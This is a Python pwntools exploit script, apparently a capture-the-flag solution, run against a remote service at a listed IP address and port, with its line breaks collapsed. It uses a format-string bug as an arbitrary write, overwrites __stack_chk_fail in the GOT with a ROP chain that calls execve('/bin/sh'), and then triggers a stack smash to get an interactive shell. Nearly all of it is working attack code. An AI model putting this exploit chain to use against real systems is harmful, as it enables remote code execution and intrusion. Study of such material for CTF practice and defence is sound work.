```pythonfrom pwn import *context(os='linux',arch='amd64',log_level='debug')io = remote("35.221.81.216",30002)
def aaw(addr,data):    io.sendline('%7$s%s\x00\x00'+p64(addr))    io.sendline(data) # (Addr:0x404018) ROP start and new stack here payload  = p64(0x4012be)        # pop*3;retpayload += p64(0)               # paddingpayload += "/bin/sh\x00"        # /bin/shpayload += p64(0x3b)            # *(*(rbp-0x18)) exevcepayload += p64(0x404030)        # *(rbp-0x18)payload += p64(0)*3             # paddingpayload += p64(0x4012c3)        # pop rdi;retpayload += p64(0x404028)        # /bin/sh addrpayload += p64(0x4012c1)        # pop rsi;pop r15;retpayload += p64(0)*2             # rsi;r15payload += p64(0x40118F)        # syscall
# modify stack_chk_fail in GOTstack_chk_fail = 0x404018aaw(stack_chk_fail,payload)
# trigger stack smashpayload  = p64(0x40112d)        # pop rbppayload += p64(0x404050)        # mov rbp to 0x404050payload += p64(0x4011DE)        # rbx = 0,rax = *(*(rbp-0x18)),leave and returnio.sendline(payload)io.interactive()```